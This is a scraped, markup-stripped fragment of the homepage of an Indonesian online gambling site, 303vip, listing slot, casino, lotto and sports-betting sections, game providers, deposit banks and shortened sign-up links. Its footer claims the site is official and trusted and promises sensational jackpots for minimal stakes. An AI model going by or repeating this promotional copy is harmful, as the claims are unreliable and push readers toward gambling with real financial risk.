classslot-carousel__img-container data-v-60fb8dfc> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422404/table_nlsyok.svg altTable data-v-60fb8dfc> !----> !----> !----> /div> span data-v-60fb8dfc>Table/span> /a> a hrefhttps://afterlisting.com classslot-carousel__item data-v-60fb8dfc> div classslot-carousel__img-container data-v-60fb8dfc> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422515/megaways_hrxroq.svg altMegaways data-v-60fb8dfc> !----> !----> !----> /div> span data-v-60fb8dfc>Megaways/span> /a> /div> /div> /div> div classcarousel__control carousel__next highlight data-v-4f72f8a2> i classicon-arrow-right icon--sm data-v-0e010622 data-v-4f72f8a2>/i> /div> /div> /div> div classcard__cta> a hrefhttps://afterlisting.com classbtn btn--flex btn--brand>Main Slots /a> /div> !----> !----> /article> !----> !----> article classcard card--split card--primary> !----> !----> div classcard__item> div classcard__title> a hrefhttps://afterlisting.com> img altSports+ srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422573/sports-muted.3699077_ep9hec.svg classbrand-icon brand-icon--sm> span>Sports+/span> /a> /div> a hrefhttps://afterlisting.com> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422633/sport_jyzxk9.webp altSports+ loadinglazy classcard__image> /a> a hrefhttps://afterlisting.com classbtn btn--flex btn--brand card__cta>Main Sports+ /a> /div> div classcard__item> div classcard__title> a hrefhttps://afterlisting.com> img altPoker srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422679/poker-muted.a05f9ac_ijayh7.svg classbrand-icon brand-icon--sm> span>Poker/span> /a> /div> a hrefhttps://afterlisting.com> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422679/poker_s7yset.png altPoker loadinglazy classcard__image> /a> a hrefhttps://afterlisting.com classbtn btn--flex btn--brand card__cta>Main Poker /a> /div> /article> article classcard card--full card--light> header classcard__header> div classcard__title> a hrefhttps://afterlisting.com> img altCasino srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422679/casino-muted.baa0122_roo1qw.svg classbrand-icon brand-icon--sm> span>Casino/span> /a> /div> a hrefhttps://afterlisting.com classbtn--sm btn--flex card__see-all>Lihat semua /a> /header> div classcard__body> div classcasino-carousel> ul> li classcasino-carousel__fill>/li> li data-flagSpesial classcasino-game casino-carousel__item casino-game--new casino-game--special casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>53/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422803/thumbnail_rkmndq.webp altIDN Live New Lobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altIDN Live New Lobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>IDNLIVE/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>201/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422862/thumbnail_1_rigypf.webp altLive - Lobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLive - Lobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>PragmaticPlay/span> /a> !----> /li> li data-flagPromosi classcasino-game casino-carousel__item casino-game--promo casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>267/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422862/thumbnail_2_hqctan.webp altLive - Lobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLive - Lobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>Evolution/span> /a> !----> /li> li data-flagSpesial classcasino-game casino-carousel__item casino-game--special casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>53/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422916/thumbnail_3_oqrz1g.webp altLobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>IDNLIVE/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>54/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422949/thumbnail_4_io7rwc.webp altMG Live Grand data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altMG Live Grand data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>Microgaming Live/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>143/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423004/thumbnail_5_dkn9ka.webp altLobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>Playtech Casino/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>25/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423005/thumbnail_6_krpn5q.webp altLobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>SA Gaming/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>100/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423004/thumbnail_7_zkjywh.webp altLobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>Ezugi/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>103/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423067/thumbnail_8_jrmn8j.webp altLobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>VivoGaming/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>37/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423067/thumbnail_9_aokgka.webp altog-lobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altog-lobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>Oriental Game/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>9/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423185/thumbnail_10_mrp2sm.webp altLobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altLobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>LuckyStreak/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>11/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423185/thumbnail_11_rtngx6.webp altION Lobby data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altION Lobby data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>ION/span> /a> !----> /li> li data-flag classcasino-game casino-carousel__item casino-game--dark casino-game--normal-view data-v-223f59df> a data-v-223f59df> div classcasino-game__container data-v-223f59df> div classcasino-game__skeleton data-v-223f59df>/div> !----> div classcasino-game__count data-v-223f59df> span data-v-223f59df>20/span> /div> !----> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423234/thumbnail_12_isgfke.webp altWE data-v-223f59df> div classcasino-game__placeholder data-v-223f59df> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765422804/img_d5b3b8f382d0a524_jcrga3.png altWE data-v-223f59df> /div> !----> /div> span classcasino-game__provider data-v-223f59df>WorldEntertainment/span> /a> !----> /li> li classcasino-carousel__fill>/li> /ul> /div> /div> div classcard__cta> a hrefhttps://afterlisting.com classbtn btn--flex btn--brand>Main Casino /a> /div> !----> !----> /article> article classcard card--arcade-carousel card--full card--primary> header classcard__header> div classcard__title> a hrefhttps://afterlisting.com> img altArcade srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423305/arcade-muted.eb8700b_hd48kw.svg classbrand-icon brand-icon--sm> span>Arcade/span> /a> /div> a hrefhttps://afterlisting.com classbtn--sm btn--flex card__see-all>Lihat semua /a> /header> div classcard__body> div classcarousel arcade-carousel arcade-carousel--light data-v-4f72f8a2 data-v-3615b381> div classcarousel__control carousel__prev highlight carousel__control--disabled data-v-4f72f8a2> i classicon-arrow-left icon--sm data-v-0e010622 data-v-4f72f8a2>/i> /div> div classcarousel__inner data-v-4f72f8a2> div classcarousel__container transition styletransform:translateX(0px); data-v-4f72f8a2> ul data-v-4f72f8a2 data-v-3615b381> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419444/hot_distmr.svg altHot data-v-3615b381> !----> !----> /div> span data-v-3615b381>Hot/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423371/idnarcade_di9pia.svg altIDNArcade data-v-3615b381> !----> !----> /div> span data-v-3615b381>IDNArcade/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765421404/pragmaticplay_ol5weo_sigskw.svg altPragmaticPlay data-v-3615b381> !----> !----> /div> span data-v-3615b381>PragmaticPlay/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container provider--new data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765420942/askmeslot_slot_dmugez.svg altAskmeslot data-v-3615b381> !----> !----> /div> span data-v-3615b381>Askmeslot/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423449/minigame_oobnlv.svg altMinigame data-v-3615b381> !----> !----> /div> span data-v-3615b381>Minigame/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765420678/microgaming_de2vbm.svg altMicrogaming data-v-3615b381> !----> !----> /div> span data-v-3615b381>Microgaming/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423510/originals_my1ohd.svg altKong Original data-v-3615b381> !----> div classarcade-carousel__by-idn surface data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423544/idnplay_y4zzrd.svg data-v-3615b381> /div> /div> span data-v-3615b381>Kong Original/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765421137/spadegaming_slot_keyswb.svg altSpadegaming data-v-3615b381> !----> !----> /div> span data-v-3615b381>Spadegaming/span> /a> /li> li data-v-4f72f8a2 data-v-3615b381> a hrefhttps://afterlisting.com classarcade-carousel__item data-v-3615b381> div classarcade-carousel__img-container data-v-3615b381> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419558/new_1_sgg0jw.svg altNew data-v-3615b381> !----> !----> /div> span data-v-3615b381>New/span> /a> /li> /ul> /div> /div> div classcarousel__control carousel__next highlight data-v-4f72f8a2> i classicon-arrow-right icon--sm data-v-0e010622 data-v-4f72f8a2>/i> /div> /div> /div> div classcard__cta> a hrefhttps://afterlisting.com classbtn btn--flex btn--brand>Main Arcade /a> /div> !----> !----> /article> !----> !----> article classcard card--split card--light> !----> !----> div classcard__item> div classcard__title> a hrefhttps://afterlisting.com> img altLotto srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423613/lotto-muted.c989d57_spbz99.svg classbrand-icon brand-icon--sm> span>Lotto/span> /a> /div> a hrefhttps://afterlisting.com> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423664/lotto_attmbk.png altLotto loadinglazy classcard__image> /a> a hrefhttps://afterlisting.com classbtn btn--flex btn--brand card__cta>Main Lotto /a> /div> div classcard__item> div classcard__title> a hrefhttps://afterlisting.com> img altFishing srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423664/fishing-muted.9c6f1fc_ei77a4.svg classbrand-icon brand-icon--sm> span>Fishing/span> /a> /div> a hrefhttps://afterlisting.com> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423664/fishing_pdzrly.webp altFishing loadinglazy classcard__image> /a> div classcard__cta> a hrefhttps://afterlisting.com classbtn btn--flex btn--brand>Main Fishing /a> /div> /div> /article> !----> /section> /div> /main> !----> section classfooter-text data-v-bd310b88> !----> /section> footer data-fetch-key0 classapp-footer> div classapp-footer__container> section classapp-footer__links> nav data-typelinks classapp-footer__link-group> h5>Quick Links/h5> ul> li> a href/ aria-currentpage classapp-link--exact-active app-link--active>Beranda /a> /li> li> a hrefhttps://afterlisting.com>Sports+ /a> /li> li> a hrefhttps://afterlisting.com>Slots /a> /li> li> a hrefhttps://afterlisting.com>Casino /a> /li> li> a hrefhttps://afterlisting.com>Poker /a> /li> li> a hrefhttps://afterlisting.com>Lotto /a> /li> li> a hrefhttps://afterlisting.com>Arcade /a> /li> li> a hrefhttps://afterlisting.com>Fishing /a> /li> /ul> /nav> nav data-typebrand classapp-footer__link-group> h5>303vip/h5> ul> li> a hrefhttps://afterlisting.com>Tentang Kami /a> /li> li> a hrefhttps://afterlisting.com>Footer /a> /li> li> a hrefhttps://afterlisting.com>Contact /a> /li> li> a hrefhttps://afterlisting.com>Deposit /a> /li> li> a hrefhttps://afterlisting.com>Withdraw /a> /li> li> a hrefhttps://afterlisting.com>Referral /a> /li> li> a hrefhttps://afterlisting.com>Leaderboard /a> /li> li> !----> /li> /ul> /nav> nav data-typelegal classapp-footer__link-group> h5>Legal/h5> ul> li> a hrefhttps://afterlisting.com>Responsible Gaming /a> /li> li> a hrefhttps://afterlisting.com>Syarat &Ketentuan /a> /li> li> a hrefhttps://afterlisting.com>Kebijakan Privasi /a> /li> li> a hrefhttps://afterlisting.com>Referral Syarat &Ketentuan /a> /li> li> a hrefhttps://afterlisting.com>Pengaduan Konsumen /a> /li> /ul> /nav> div classapp-footer__link-group app-footer__link-group--social> h5>Stay Connected/h5> ul>/ul> /div> /section> section classapp-footer__text stylemax-height:10rem;> article> h1>303VIP — Bandar Togel Online Resmi & Situs Slot Gacor Terpercaya No. 1/h1> p>303vip situs terbaik untuk bermain slot online dan casino online terbaru dengan modal minim yang penuh dengan jackpot sensasional. Join sekarang dan mulai bermain di 303vip slot gacor & live casino terpercaya, gampang login, dan langsung klaim bonus besar!/p>/article> button>Baca lebih /button> /section> section classapp-footer__partners> h5>Partner/h5> ul> li> a hrefhttps://afterlisting.com> i classicon-idnpoker icon--2-5x data-v-0e010622>/i> span>IDNPOKER/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-idnarcade icon--2-5x data-v-0e010622>/i> span>IDNArcade/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-ubo icon--2-5x data-v-0e010622>/i> span>UboBet/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-saba icon--2-5x data-v-0e010622>/i> span>SABA Sports/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-sbobet icon--2-5x data-v-0e010622>/i> span>SBOBET/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-cmd icon--2-5x data-v-0e010622>/i> span>CMD368/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-nsoft icon--2-5x data-v-0e010622>/i> span>NSOFT 88/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-tfgaming icon--2-5x data-v-0e010622>/i> span>TFGaming/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-idnslotdirect icon--2-5x data-v-0e010622>/i> span>IDNSLOT/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-spin-royal icon--2-5x data-v-0e010622>/i> span>Spin Royal/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-level-up icon--2-5x data-v-0e010622>/i> span>Level Up/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-panda icon--2-5x data-v-0e010622>/i> span>Fat Panda/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-pgsoft icon--2-5x data-v-0e010622>/i> span>PG Soft/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-pragmaticplay icon--2-5x data-v-0e010622>/i> span>PragmaticPlay/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-microgaming icon--2-5x data-v-0e010622>/i> span>Microgaming/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-slotmania icon--2-5x data-v-0e010622>/i> span>Slot Mania/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-habanero icon--2-5x data-v-0e010622>/i> span>Habanero/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-5g icon--2-5x data-v-0e010622>/i> span>5G Games/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-evolution-nlc icon--2-5x data-v-0e010622>/i> span>Nolimit City/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-ttg icon--2-5x data-v-0e010622>/i> span>TTG/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-askmeslot_slot icon--2-5x data-v-0e010622>/i> span>Askmeslot/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-playtech_slot icon--2-5x data-v-0e010622>/i> span>Playtech/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-playstar icon--2-5x data-v-0e010622>/i> span>PlayStar/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-live_22 icon--2-5x data-v-0e010622>/i> span>Live22/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-cq9 icon--2-5x data-v-0e010622>/i> span>CQ9/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-spadegaming_slot icon--2-5x data-v-0e010622>/i> span>Spadegaming/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-pragmaticplay98 icon--2-5x data-v-0e010622>/i> span>PP 98% RTP/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-fastspin icon--2-5x data-v-0e010622>/i> span>FastSpin/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-penguin_king icon--2-5x data-v-0e010622>/i> span>Penguin King/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-simpleplay icon--2-5x data-v-0e010622>/i> span>SimplePlay/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-booming_games icon--2-5x data-v-0e010622>/i> span>Booming/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-yggdrasil icon--2-5x data-v-0e010622>/i> span>Yggdrasil/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-gmw icon--2-5x data-v-0e010622>/i> span>GMW/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-bigpot icon--2-5x data-v-0e010622>/i> span>BigPot/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-reevo icon--2-5x data-v-0e010622>/i> span>Reevo/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-bgaming icon--2-5x data-v-0e010622>/i> span>Bgaming/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-bng icon--2-5x data-v-0e010622>/i> span>BNG/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-evolution-redtiger icon--2-5x data-v-0e010622>/i> span>RedTiger/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-evolution-netent icon--2-5x data-v-0e010622>/i> span>NetEnt/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-evolution-btg icon--2-5x data-v-0e010622>/i> span>BTG/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-playngo icon--2-5x data-v-0e010622>/i> span>Playn Go/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-apparat icon--2-5x data-v-0e010622>/i> span>Apparat/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-nsoftcasino icon--2-5x data-v-0e010622>/i> span>Nsoft/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-minigame icon--2-5x data-v-0e010622>/i> span>Minigame/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-evolution icon--2-5x data-v-0e010622>/i> span>Evolution/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-idnlive icon--2-5x data-v-0e010622>/i> span>IDNLIVE/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-mg_live_grand icon--2-5x data-v-0e010622>/i> span>Microgaming Live/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-sagaming icon--2-5x data-v-0e010622>/i> span>SA Gaming/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-og icon--2-5x data-v-0e010622>/i> span>Oriental Game/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-ion icon--2-5x data-v-0e010622>/i> span>ION/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-ebetlive icon--2-5x data-v-0e010622>/i> span>WE/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-vivo-gaming icon--2-5x data-v-0e010622>/i> span>VivoGaming/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-ezugi-gaming icon--2-5x data-v-0e010622>/i> span>Ezugi/span> /a> /li> li> a hrefhttps://afterlisting.com> i classicon-luckystreak icon--2-5x data-v-0e010622>/i> span>LuckyStreak/span> /a> /li> /ul> /section> section classapp-footer__payment> h5>Metode deposit/h5> ul> li classbank-logo--h> img loadinglazy srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423808/BRI_gurhyf.svg alt303vip - Metode deposit - BRI> /li> li> img loadinglazy srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423807/BNI_fgbqfh.svg alt303vip - Metode deposit - BNI> /li> li classbank-logo--h> img loadinglazy srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423808/Danamon_fo9hgp.svg alt303vip - Metode deposit - DANAMON> /li> li> img loadinglazy srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423807/BCA_ascjxk.svg alt303vip - Metode deposit - BCA> /li> li> img loadinglazy srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423807/Icon-Posts-QRIS-7_y3ssqg.png alt303vip - Metode deposit - QRIS> /li> /ul> /section> p classapp-footer__copyright>© 2026 303vip - All rights reserved. /p> /div> /footer> !----> div classtop-observer>/div> section classsticky-footer surface--inverse> nav classsticky-footer__nav> ul> li> a hrefhttps://afterlisting.com classbtn app-link--active> img altBeranda srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423909/home.a65b4c9_cio8ln.svg classbrand-icon brand-icon--xs> span>Beranda/span> /a> /li> li> a hrefhttps://tautin.app/CLJGyUNFh7 classbtn> img altDaftar srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423909/chat-muted.2224cf9_sqqfzj.svg classbrand-icon brand-icon--xs> span>Daftar/span> /a> /li> li> a hrefhttps://tautin.app/CLJGyUNFh7 classbtn> img altDaftar srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423909/chat-muted.2224cf9_sqqfzj.svg classbrand-icon brand-icon--xs> span>Daftar/span> /a> /li> li> a hrefhttps://tautin.app/CLJGyUNFh7 classbtn> img altPromosi srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423909/promo-muted.2a22468_cnx1jo.svg classbrand-icon brand-icon--xs> span>Promosi/span> /a> /li> li> a href/ classbtn> img altKontak srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423909/edit-muted.705e3ea_p8xn0k.svg classbrand-icon brand-icon--xs> span>Kontak/span> /a> /li> /ul> /nav> /section> div classapp-drawer__root data-v-05d51de6> div classapp-drawer__backdrop styledisplay:none; data-v-05d51de6>/div> div classapp-drawer surface data-v-05d51de6> header classapp-drawer__header data-v-05d51de6> nav classapp-drawer__categories data-v-05d51de6> ul data-v-05d51de6> li data-v-05d51de6> a href/ data-v-05d51de6> img altSports+ srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419167/sports.125c2a3_xdgssu.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Sports+/span> /a> /li> li data-v-05d51de6> a href/ data-v-05d51de6> img altSlots srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419259/slots.6fef30c_jie5eq.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Slots/span> /a> /li> li data-v-05d51de6> a href/ data-v-05d51de6> img altCasino srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419259/casino.ebf86b5_gsqnbg.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Casino/span> /a> /li> li data-v-05d51de6> a href/ data-v-05d51de6> img altPoker srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419338/poker.21a6157_lixpra.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Poker/span> /a> /li> li data-v-05d51de6> a href/ data-v-05d51de6> img altLotto srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419338/lotto.dcb74fd_mntkio.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Lotto/span> /a> /li> li data-v-05d51de6> a hrefhttps://afterlisting.com data-v-05d51de6> img altArcade srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419390/arcade.48fc4dd_x4z1v4.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Arcade/span> /a> /li> li data-v-05d51de6> a href/ 